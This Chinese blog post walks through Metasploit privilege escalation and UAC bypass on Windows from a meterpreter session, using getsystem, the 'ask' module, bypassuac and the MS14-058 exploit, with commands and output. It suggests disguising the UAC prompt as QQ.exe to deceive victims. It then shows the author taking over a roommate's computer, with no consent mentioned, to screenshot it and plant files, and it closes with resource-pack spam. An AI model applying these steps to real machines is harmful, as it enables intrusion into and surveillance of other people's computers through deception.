前言
本博文仅供学习使用,请勿他用!!!
网络安全成为当下最热门的话题,如何维护网络安全是关键,而内网渗透测试又是其中最重要的部分,接下来博主将会通过系列文章,对内网渗透进行介绍与复现;
提高程序运行级别
1、查看当前的用户权限 getuid
,
meterpreter > getuid
Server username: WIN-50HM5UIKP60\sid10t
2、尝试提权 getsystem
,这种成功的概率极小,果然报错了:
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: The environment is incorrect. The following was attempted:
[-] Named Pipe Impersonation (In Memory/Admin)
[-] Named Pipe Impersonation (Dropper/Admin)
[-] Token Duplication (In Memory/Admin)
3、把当前会话挂起 background
,然后启用模块 use exploit/windows/local/ask
,可以先通过 info
来查看一下这个模块的功能:
This module will attempt to elevate execution level using the ShellExecute undocumented RunAs flag to bypass low UAC settings. 此模块将尝试使用 ShellExecute undocumented RunAs 标志来提升执行级别,以绕过低 UAC 设置。
4、设置模块的一些属性:
FILENAME
:弹出 UAC 显示的文件名;PATH
:文件路径;SESSION
:选择会话的 ID;
设置完属性之后,就开始攻击 exploit
:
msf exploit(ask) > set session 2
session => 2
msf exploit(ask) > set filename sid10t.exe
filename => sid10t.exe
msf exploit(ask) > exploit
这时候 windows 机子这边就会弹出如下的 UAC 窗口,跟我们设置的都能对上,为了让用户点击,可以改成 QQ.exe
这些容易迷惑受害者的:
5、如果用户选择 “否”,则过一会就会超时报错;
如果用户点击了 “是”,则会成功获取权限,这时候再尝试一下提权; 提权成功!
UAC 绕过
1、使用 bypassuac
模块进行攻击,可以看一下都有哪些绕过:
2、这里就使用 bypassuac
,照例看一下相关信息:
This module will bypass Windows UAC by utilizing the trusted publisher certificate through process injection. It will spawn a second shell that has the UAC flag turned off. 此模块将通过进程注入利用受信任的发布者证书绕过 Windows UAC。它将生成第二个关闭了 UAC 标志的 shell。
3、设置一下 SESSION
就可以了:
msf exploit(bypassuac) > set session 2
session => 2
4、进行提权;
利用提权漏洞进行提权
1、这里使用 ms14_058_track_popup_menu
模块进行攻击,还有很多类似的; 2、看一下模块配置,只要一个 SESSION
:
3、看一下相关信息 info
:
msf exploit(ms14_058_track_popup_menu) > info
Name: Windows TrackPopupMenu Win32k NULL Pointer Dereference
Module: exploit/windows/local/ms14_058_track_popup_menu
Platform: Windows
Arch: x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2014-10-14
Provided by:
Unknown
juan vazquez <juan.vazquez@metasploit.com>
Spencer McIntyre
OJ Reeves <oj@buffered.io>
Available targets:
Id Name
-- ----
0 Windows x86
1 Windows x64
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION 2 yes The session to run this module on.
Payload information:
Space: 4096
Description:
This module exploits a NULL Pointer Dereference in win32k.sys, the
vulnerability can be triggered through the use of TrackPopupMenu.
Under special conditions, the NULL pointer dereference can be abused
on xxxSendMessageTimeout to achieve arbitrary code execution. This
module has been tested successfully on Windows XP SP3, Windows 2003
SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1
and Windows 2008 R2 SP1 64 bits.
References:
https://cvedetails.com/cve/CVE-2014-4113/
OSVDB (113167)
http://www.securityfocus.com/bid/70364
https://technet.microsoft.com/en-us/library/security/MS14-058
http://blog.trendmicro.com/trendlabs-security-intelligence/an-analysis-of-a-windows-kernel-mode-vulnerability-cve-2014-4113/
可以看到它的适用范围;
4、exploit
;
因为目标主机是 x64 的,所以这里要切换目录;
攻击之后,windows 这边弹出个记事本报错,说明该漏洞失效了…
实战
根据上面的操作,对室友的电脑进行权限的获取与提升;
这是室友正在玩 MC,对其进行屏幕截图; 在桌面创建一个名为
sid10t
的文件夹;
上传了一个 haha.txt
,并进行了读取;
1️⃣零基础入门
① 学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
② 路线对应学习视频
😃朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以点下方链接免费领取
👉CSDN大礼包🎁:全网最全黑客资料免费领取🆓!(安全链接,放心点击)
2️⃣视频配套资料&国内外网安书籍、文档
① 文档和书籍资料
② 黑客技术
3️⃣网络安全源码合集+工具包
😃朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以点下方链接免费领取
👉CSDN大礼包🎁:全网最全黑客资料免费领取🆓!(安全链接,放心点击)